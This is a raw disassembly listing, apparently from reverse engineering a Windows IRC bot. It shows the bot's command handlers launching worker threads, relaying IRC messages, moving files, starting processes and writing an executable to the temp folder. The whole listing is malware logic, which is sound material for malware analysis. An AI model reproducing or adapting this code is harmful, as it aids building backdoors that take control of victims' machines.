push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
mov [ebp+4Ch+var_690], eax
lea eax, [ebp+4Ch+var_718]
push eax ; Dest
mov [ebp+4Ch+var_71C], esi
call _strncpy
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 14h
push [ebp+4Ch+var_690]
mov [ebp+4Ch+var_680], edi
push [ebp+4Ch+var_698]
mov [ebp+4Ch+var_67C], eax
push [ebp+4Ch+var_688]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D820 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 0Bh ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_68C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_71C]
push eax
push offset sub_40C3D3
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_68C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4084D4
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D918
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4084CC: ; CODE XREF: sub_40274D+5D8Dj
push 32h
call ds:dword_42B014 ; Sleep
loc_4084D4: ; CODE XREF: sub_40274D+5D6Cj
cmp [ebp+4Ch+var_678], ebx
jz short loc_4084CC
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4084E1: ; CODE XREF: sub_40274D+4C28j
; sub_40274D+4C3Fj
push [ebp+4Ch+var_8] ; Str
call j__atol
push 7Fh ; Count
mov [ebp+4Ch+var_1134], eax
lea eax, [ebp+4Ch+var_1238]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+4Ch+arg_0] ; Str
call j__atol
push [ebp+4Ch+Format] ; Format
mov esi, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1138], eax
lea eax, [ebp+4Ch+var_11B8]
push 80h ; Count
push eax ; Dest
mov [ebp+4Ch+var_1240], esi
call __snprintf
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 20h
push [ebp+4Ch+var_1138]
mov [ebp+4Ch+var_1124], eax
lea eax, [ebp+4Ch+var_1238]
push eax
push [ebp+4Ch+var_1134]
mov [ebp+4Ch+var_1128], edi
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D7E4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 18h ; int
push eax ; Source
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_1130], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1240]
push eax
push offset sub_41366C
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1130]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4085CA
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D7A0
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4085C2: ; CODE XREF: sub_40274D+5E83j
push 32h
call ds:dword_42B014 ; Sleep
loc_4085CA: ; CODE XREF: sub_40274D+5E62j
cmp [ebp+4Ch+var_1120], ebx
jz short loc_4085C2
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4085D7: ; CODE XREF: sub_40274D+4BFAj
; sub_40274D+4C11j
push 0FFh ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_2880]
push eax ; Dest
call _strncpy
push 0FFh ; Count
lea eax, [ebp+4Ch+var_2780]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+4Ch+arg_0] ; Str
mov [ebp+4Ch+var_267C], ebx
call j__atol
mov [ebp+4Ch+var_2678], eax
mov eax, [ebp+esi+4Ch+var_94]
add esp, 1Ch
cmp eax, ebx
jz short loc_408630
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+4Ch+var_2670], eax
jmp short loc_408636
; ---------------------------------------------------------------------------
loc_408630: ; CODE XREF: sub_40274D+5ECDj
mov [ebp+4Ch+var_2670], ebx
loc_408636: ; CODE XREF: sub_40274D+5EE1j
mov esi, [ebp+esi+4Ch+var_90]
cmp esi, ebx
jz short loc_40864D
push esi ; Str
call j__atol
pop ecx
mov [ebp+4Ch+var_2674], eax
jmp short loc_408653
; ---------------------------------------------------------------------------
loc_40864D: ; CODE XREF: sub_40274D+5EEFj
mov [ebp+4Ch+var_2674], ebx
loc_408653: ; CODE XREF: sub_40274D+5EFEj
movzx eax, [ebp+4Ch+var_903]
mov esi, [ebp+4Ch+arg_4]
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
mov [ebp+4Ch+var_266C], eax
lea eax, [ebp+4Ch+var_2900]
push eax ; Dest
mov [ebp+4Ch+var_2904], esi
call _strncpy
mov eax, [ebp+4Ch+var_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_2664], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2668], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D774 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+4Ch+Dst]
push 1Dh ; int
push eax ; Source
call sub_40AE85
add esp, 28h
mov [ebp+4Ch+var_2680], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2904]
push eax
push offset sub_418F38
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2680]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_408701
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D734
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4086F9: ; CODE XREF: sub_40274D+5FBAj
push 32h
call ds:dword_42B014 ; Sleep
loc_408701: ; CODE XREF: sub_40274D+5F99j
cmp [ebp+4Ch+var_2660], ebx
jz short loc_4086F9
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_40870E: ; CODE XREF: sub_40274D+4BCCj
; sub_40274D+4BE3j
push 7Fh
pop esi
push esi ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_36AC]
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+4Ch+var_362C]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+arg_0] ; Source
lea eax, [ebp+4Ch+var_35AC]
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_352C]
push eax ; Dest
call _strncpy
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_34A8], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_34A4], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D6F8 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_36B0], esi
call _sprintf
add esp, 44h
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 12h ; int
push eax ; Source
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_34AC], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_36B0]
push eax
push offset sub_417BC8
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_34AC]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4087E5
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D6C0
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4087DD: ; CODE XREF: sub_40274D+609Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_4087E5: ; CODE XREF: sub_40274D+607Dj
cmp [ebp+4Ch+var_34A0], ebx
jz short loc_4087DD
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_4087F2: ; CODE XREF: sub_40274D+4AA3j
; sub_40274D+4ABAj
push 7Fh
pop esi
push esi ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_3284]
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+4Ch+var_3204]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+arg_0] ; Source
lea eax, [ebp+4Ch+var_3184]
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_3104]
push eax ; Dest
call _strncpy
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_3080], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_307C], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D690 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_3288], esi
call _sprintf
add esp, 44h
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 0Eh ; int
push eax ; Source
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_3084], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3288]
push eax
push offset sub_4167D6
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3084]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4088C9
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D658
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4088C1: ; CODE XREF: sub_40274D+6182j
push 32h
call ds:dword_42B014 ; Sleep
loc_4088C9: ; CODE XREF: sub_40274D+6161j
cmp [ebp+4Ch+var_3078], ebx
jz short loc_4088C1
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_4088D6: ; CODE XREF: sub_40274D+497Ej
; sub_40274D+4995j ...
push 7Fh
pop esi
push esi ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_3F88]
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+4Ch+var_3F08]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+arg_0] ; Source
lea eax, [ebp+4Ch+var_3E88]
push eax ; Dest
call _strncpy
push esi ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_3E08]
push eax ; Dest
call _strncpy
push 20h ; Count
push [ebp+4Ch+var_10] ; Source
lea eax, [ebp+4Ch+var_3D88]
push eax ; Dest
call _strncpy
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_3D08], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_3D04], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D628 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_3F90], esi
call _sprintf
add esp, 50h
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 0Dh ; int
push eax ; Source
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_3F8C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3F90]
push eax
push offset sub_415BD8
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3F8C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4089E5
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset asc_42D5F0 ; "-"
loc_4089B1: ; CODE XREF: sub_40274D+4BA1j
; sub_40274D+54C7j ...
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_4089C0: ; CODE XREF: sub_40274D+4BB6j
; sub_40274D+54DCj ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_408D10
push ebx
push [ebp+4Ch+var_4]
loc_4089CD: ; CODE XREF: sub_40274D+21E7j
lea eax, [ebp+4Ch+Dst]
push eax
push [ebp+4Ch+Format]
push esi
jmp loc_4069A7
; ---------------------------------------------------------------------------
loc_4089DD: ; CODE XREF: sub_40274D+629Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_4089E5: ; CODE XREF: sub_40274D+6256j
cmp [ebp+4Ch+var_3D00], ebx
jz short loc_4089DD
jmp short loc_4089C0
; ---------------------------------------------------------------------------
loc_4089EF: ; CODE XREF: sub_40274D+4950j
; sub_40274D+4967j
push 7Fh ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_1780]
push eax ; Dest
call _strncpy
push edi ; Str
call j__atol
push 3Fh ; Count
push [ebp+4Ch+arg_0] ; Source
mov [ebp+4Ch+var_1630], eax
lea eax, [ebp+4Ch+var_1700]
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+4Ch+var_94]
add esp, 1Ch
cmp esi, ebx
jz short loc_408A3A
push 3Fh ; Count
lea eax, [ebp+4Ch+var_16C0]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_408A3A: ; CODE XREF: sub_40274D+62D9j
lea eax, [ebp+4Ch+var_1700]
push eax
push [ebp+4Ch+var_1630]
lea eax, [ebp+4Ch+var_1780]
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D5C0 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_162C], 1
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 1Fh ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_1628], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1784]
push eax
push offset sub_4025EF
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1628]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_408AC9
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42D584
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_408AC1: ; CODE XREF: sub_40274D+6382j
push 32h
call ds:dword_42B014 ; Sleep
loc_408AC9: ; CODE XREF: sub_40274D+6361j
cmp [ebp+4Ch+var_1624], ebx
jz short loc_408AC1
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_408AD6: ; CODE XREF: sub_40274D+4913j
; sub_40274D:loc_407077j
push edi ; Str
call j__atol
cmp eax, ebx
pop ecx
mov [ebp+4Ch+var_1D6C], eax
jle loc_408BC3
push [ebp+4Ch+var_8] ; Format
mov esi, 80h
lea eax, [ebp+4Ch+var_1EF4]
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+4Ch+Format] ; Format
xor eax, eax
cmp [ebp+4Ch+var_8F6], bl
push esi ; Count
setnz al
mov [ebp+4Ch+var_1D68], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1EF8], eax
lea eax, [ebp+4Ch+var_1DF4]
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+var_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_1D64], eax
mov eax, [ebp+4Ch+var_C]
push offset asc_42D558 ; "-"
mov [ebp+4Ch+var_1D60], eax
lea eax, [ebp+4Ch+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 15h ; int
push eax ; Source
call sub_40AE85
add esp, 38h
mov [ebp+4Ch+var_1D74], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1EF8]
push eax
push offset sub_415C89
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1D74]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_408BB6
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D520
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_408BAE: ; CODE XREF: sub_40274D+646Fj
push 32h
call ds:dword_42B014 ; Sleep
loc_408BB6: ; CODE XREF: sub_40274D+644Ej
cmp [ebp+4Ch+var_1D5C], ebx
jz short loc_408BAE
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_408BC3: ; CODE XREF: sub_40274D+6398j
push offset unk_42D4E8
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_408BCD: ; CODE XREF: sub_40274D+48E5j
; sub_40274D+48FCj
push edi
push [ebp+4Ch+var_8]
call ds:dword_42B034 ; MoveFileA
test eax, eax
jz short loc_408BFD
push edi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push offset asc_42D4C4 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
loc_408BF5: ; CODE XREF: sub_40274D+2407j
add esp, 14h
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_408BFD: ; CODE XREF: sub_40274D+648Cj
push offset dword_42D4B8
call sub_41ACD0
push eax ; Format
lea eax, [ebp+4Ch+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_408C21: ; CODE XREF: sub_40274D+48B7j
; sub_40274D+48CEj
push [ebp+4Ch+var_8] ; Format
lea eax, [ebp+4Ch+var_3C78]
push 104h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
cmp [ebp+4Ch+var_18], ebx
jz short loc_408C5B
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
cmp eax, ebx
pop ecx
pop ecx
jz short loc_408C5B
push eax ; Format
lea eax, [ebp+4Ch+var_3B74]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_408C5B: ; CODE XREF: sub_40274D+64EEj
; sub_40274D+64FDj
push [ebp+4Ch+Format] ; Format
lea eax, [ebp+4Ch+var_3CF8]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_3CFC], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_3A6C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_3A68], eax
lea eax, [ebp+4Ch+var_3B74]
push eax
lea eax, [ebp+4Ch+var_3C78]
push eax
push offset asc_42D488 ; "-"
lea eax, [ebp+4Ch+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 24h ; int
push eax ; Source
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_3A70], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3CFC]
push eax
push offset sub_4198EB
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3A70]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_408D20
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset asc_42D44C ; "-"
loc_408D01: ; CODE XREF: sub_40274D+731j
; sub_40274D+963j ...
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_408D10: ; CODE XREF: sub_40274D+84Aj
; sub_40274D+86Ej ...
xor esi, esi
inc esi
jmp loc_406C6E
; ---------------------------------------------------------------------------
loc_408D18: ; CODE XREF: sub_40274D+65D9j
push 32h
call ds:dword_42B014 ; Sleep
loc_408D20: ; CODE XREF: sub_40274D+65A6j
cmp [ebp+4Ch+var_3A64], ebx
jz short loc_408D18
jmp short loc_408D10
; ---------------------------------------------------------------------------
loc_408D2A: ; CODE XREF: sub_40274D+4889j
; sub_40274D+48A0j
push 44h
pop esi
push esi ; Size
lea eax, [ebp+4Ch+var_670]
push ebx ; Val
push eax ; Dst
call _memset
push [ebp+4Ch+var_8] ; Str
mov [ebp+4Ch+var_670], esi
xor esi, esi
inc esi
mov [ebp+4Ch+var_644], esi
mov [ebp+4Ch+var_640], bx
call j__atol
add esp, 10h
cmp eax, esi
jnz short loc_408D69
mov [ebp+4Ch+var_640], 5
loc_408D69: ; CODE XREF: sub_40274D+6611j
cmp [ebp+4Ch+var_18], ebx
jz loc_406C4D
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
mov edi, eax
cmp edi, ebx
pop ecx
pop ecx
jz loc_406C4D
lea eax, [ebp+4Ch+var_D98]
push eax
lea eax, [ebp+4Ch+var_670]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_42B008 ; CreateProcessA
test eax, eax
lea eax, [ebp+4Ch+Dst]
jnz short loc_408DB8
push offset unk_42D428
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_408DB8: ; CODE XREF: sub_40274D+665Fj
push edi
push offset dword_42D40C
jmp loc_4076DA
; ---------------------------------------------------------------------------
loc_408DC3: ; CODE XREF: sub_40274D+485Bj
; sub_40274D+4872j
push edi ; Str2
push offset aFicken ; "ficken"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_408F2F
lea eax, [ebp+4Ch+var_48F8]
push eax
push 104h
call ds:dword_42B030 ; GetTempPathA
push 0FFh ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_25D8]
push eax ; Dest
call _strncpy
lea eax, [ebp+4Ch+var_17A0]
push eax
call sub_40A8CA
push eax
lea eax, [ebp+4Ch+var_48F8]
push eax
lea eax, [ebp+4Ch+var_24D8]
push offset aSS_exe ; "%s%s.exe"
push eax ; Dest
call _sprintf
mov eax, [ebp+esi+4Ch+var_98]
add esp, 20h
cmp eax, ebx
mov [ebp+4Ch+var_23D4], 1
mov [ebp+4Ch+var_23D0], ebx
jz short loc_408E52
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+4Ch+var_23C8], eax
jmp short loc_408E58
; ---------------------------------------------------------------------------
loc_408E52: ; CODE XREF: sub_40274D+66EFj
mov [ebp+4Ch+var_23C8], ebx
loc_408E58: ; CODE XREF: sub_40274D+6703j
mov esi, [ebp+esi+4Ch+var_94]
cmp esi, ebx
jz short loc_408E6F
push esi ; Str
call j__atol
pop ecx
mov [ebp+4Ch+var_23CC], eax
jmp short loc_408E75
; ---------------------------------------------------------------------------
loc_408E6F: ; CODE XREF: sub_40274D+6711j
mov [ebp+4Ch+var_23CC], ebx
loc_408E75: ; CODE XREF: sub_40274D+6720j
movzx eax, [ebp+4Ch+var_903]
mov esi, [ebp+4Ch+arg_4]
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
mov [ebp+4Ch+var_23C4], eax
lea eax, [ebp+4Ch+var_2658]
push eax ; Dest
mov [ebp+4Ch+var_265C], esi
call _strncpy
mov eax, [ebp+4Ch+var_4]
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_23BC], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_23C0], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D3D4 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+4Ch+Dst]
push 1Eh ; int
push eax ; Source
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_23D8], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_265C]
push eax
push offset sub_418F38
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_23D8]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_408F22
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42D398
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_408F1A: ; CODE XREF: sub_40274D+67DBj
push 32h
call ds:dword_42B014 ; Sleep
loc_408F22: ; CODE XREF: sub_40274D+67BAj
cmp [ebp+4Ch+var_23B8], ebx
jz short loc_408F1A
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_408F2F: ; CODE XREF: sub_40274D+6685j
push offset dword_42D350
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_408F39: ; CODE XREF: sub_40274D+482Dj
; sub_40274D+4844j
push dword ptr [ebp+4Ch+Args] ; Str2
push offset a332 ; "332"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_402B92
cmp [ebp+4Ch+var_18], ebx
jz loc_402B92
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
push eax
push [ebp+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push dword ptr [ebp+4Ch+Args]
push [ebp+4Ch+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
push 1FFh ; Count
lea eax, [ebp+4Ch+Dst]
push eax ; Source
push [ebp+4Ch+arg_0] ; Dest
call _strncpy
push [ebp+4Ch+var_8] ; Str
call j__atol
add esp, 30h
test eax, eax
jle short loc_408FB6
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 3E8h
pop ecx
push eax
call ds:dword_42B014 ; Sleep
loc_408FB6: ; CODE XREF: sub_40274D+6851j
push offset dword_42D328
call sub_417D70
mov eax, [ebp+4Ch+arg_24]
pop ecx
inc eax
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_408FCA: ; CODE XREF: sub_40274D+47FFj
; sub_40274D+4816j
push dword ptr [ebp+4Ch+Args] ; Str2
push offset a332 ; "332"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_402B92
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi ; SubStr
push [ebp+4Ch+var_18] ; Str
call _strstr
push offset aRepeat ; "repeat"
inc edi
push edi ; Str1
mov esi, eax
call _strcmp
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+4Ch+Dst]
jz short loc_409079
push [ebp+4Ch+Format]
push dword ptr [ebp+4Ch+Args]
push [ebp+4Ch+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
push 1FFh ; Count
lea eax, [ebp+4Ch+Dst]
push eax ; Source
push [ebp+4Ch+arg_0] ; Dest
call _strncpy
push esi
lea eax, [ebp+4Ch+Dst]
push offset asc_42D310 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
push [ebp+4Ch+var_8] ; Str
call j__atol
add esp, 38h
test eax, eax
jle loc_404979
push [ebp+4Ch+var_8] ; Str
call j__atol
add eax, [ebp+4Ch+arg_24]
pop ecx
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_409079: ; CODE XREF: sub_40274D+68C0j
push offset unk_42D2DC
jmp loc_409887
; ---------------------------------------------------------------------------
loc_409083: ; CODE XREF: sub_40274D+47D1j
; sub_40274D+47E8j
push 7Fh ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_2088]
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+4Ch+var_2008]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_1F88]
push eax ; Dest
call _strncpy
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_1F04], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_1F00], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D2A8 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_208C], esi
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 0Fh ; int
push eax ; Source
call sub_40AE85
add esp, 40h
mov [ebp+4Ch+var_1F08], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_208C]
push eax
push offset sub_4171BC
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1F08]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_409144
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D26C
jmp loc_409205
; ---------------------------------------------------------------------------
loc_40913C: ; CODE XREF: sub_40274D+69FDj
push 32h
call ds:dword_42B014 ; Sleep
loc_409144: ; CODE XREF: sub_40274D+69DCj
cmp [ebp+4Ch+var_1EFC], ebx
jz short loc_40913C
jmp loc_409214
; ---------------------------------------------------------------------------
loc_409151: ; CODE XREF: sub_40274D+47A3j
; sub_40274D+47BAj
push 7Fh ; Count
push [ebp+4Ch+var_8] ; Source
lea eax, [ebp+4Ch+var_23B0]
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+4Ch+var_2330]
push edi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_22B0]
push eax ; Dest
call _strncpy
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_222C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2228], eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D240 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_23B4], esi
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 11h ; int
push eax ; Source
call sub_40AE85
add esp, 40h
mov [ebp+4Ch+var_2230], eax
